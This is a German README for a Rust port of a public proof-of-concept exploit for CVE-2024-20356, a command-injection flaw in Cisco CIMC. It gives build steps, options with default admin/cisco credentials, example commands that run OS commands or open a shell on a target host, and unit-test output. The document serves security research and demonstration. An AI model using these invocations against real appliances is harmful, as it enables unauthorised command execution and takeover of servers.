
Eine oxidierte Version von https://github.com/nettitude/CVE-2024-20356/blob/main/CVE-2024-20356.py
Dies ist ein Proof-of-Concept für CVE-2024-20356, eine Command-Injection-Sicherheitslücke in Ciscos CIMC.
Geschrieben von Aaron und oxidiert von SherllyNeo
Vollständige technische Details findest du unter https://labs.nettitude.com/blog/cve-2024-20356-jailbreaking-a-cisco-appliance-to-run-doom
cargo build --release && cp ./target/release/CVE_2024_20356 ~/.local/bin/
Usage: CVE_2024_20356 [OPTIONS] --host <HOSTNAME>
Options:
-t, --host <HOSTNAME> Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
-u, --username <USERNAME> Username [default: admin]
-p, --password <PASSWORD> Password [default: cisco]
-a, --action <ACTION> Action to perform [default: test] [possible values: test, cmd, shell, dance]
-c, --cmd <CMD> OS command to run [default: None]
-v, --verbose Displays more information about cimc
-h, --help Print help
-V, --version Print version
Beispielbefehle:
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -v
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -c 'id'
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -a shell
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -a dance
Nutze das Argument --help für die vollständigen Nutzungshinweise.
Dieses Proof-of-Concept dient nur Demonstrationszwecken und sollte nicht für illegale Aktivitäten verwendet werden. LRQA Nettitude übernimmt keine Verantwortung für Schäden, die durch die Verwendung oder den Missbrauch dieses Codes entstehen. Sei nicht böse
Ich habe das ohne Zugriff auf den Server geschrieben, basierend auf der ursprünglichen Codebasis.
Aus diesem Grund habe ich umfangreiche Unit-Tests geschrieben, um sicherzustellen, dass die Verschlüsselungsfunktionen mit denen des Originals übereinstimmen. Dass die Login-Methode mithilfe eines Mock-Servers funktioniert. Dass das Parsen der Argumente für IP-Adressen funktioniert.
Um diese Tests auszuführen, verwende cargo --test
cargo test
Compiling CVE_2024_20356 v0.1.0
Finished `test` profile [unoptimized + debuginfo] target(s) in 2.27s
Running unittests src/main.rs (target/debug/deps/CVE_2024_20356-6d8ec478cd93405b)
running 8 tests
test libs::encryption::tests::pad_test ... ok
test libs::encryption::tests::key_fnv32_test ... ok
test libs::encryption::tests::aes_encrypt_test ... ok
test libs::encryption::tests::derive_key_and_iv_test ... ok
test libs::encryption::tests::hash_fnv32_test ... ok
test libs::encryption::tests::encrypt_test ... ok
test libs::actions::tests::login_test ... ok
test libs::arguments::validate_hostname_test ... ok
test result: ok. 8 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.02s
Ich habe das hier eingefügt, da ich auf mod.rs verzichtet habe und um zu zeigen, dass main nur ein dünner Wrapper um lib ist.
Dies soll in Zukunft Integrationstests ermöglichen.
src
├── lib.rs
├── libs
│ ├── actions.rs
│ ├── arguments.rs
│ └── encryption.rs
└── main.rs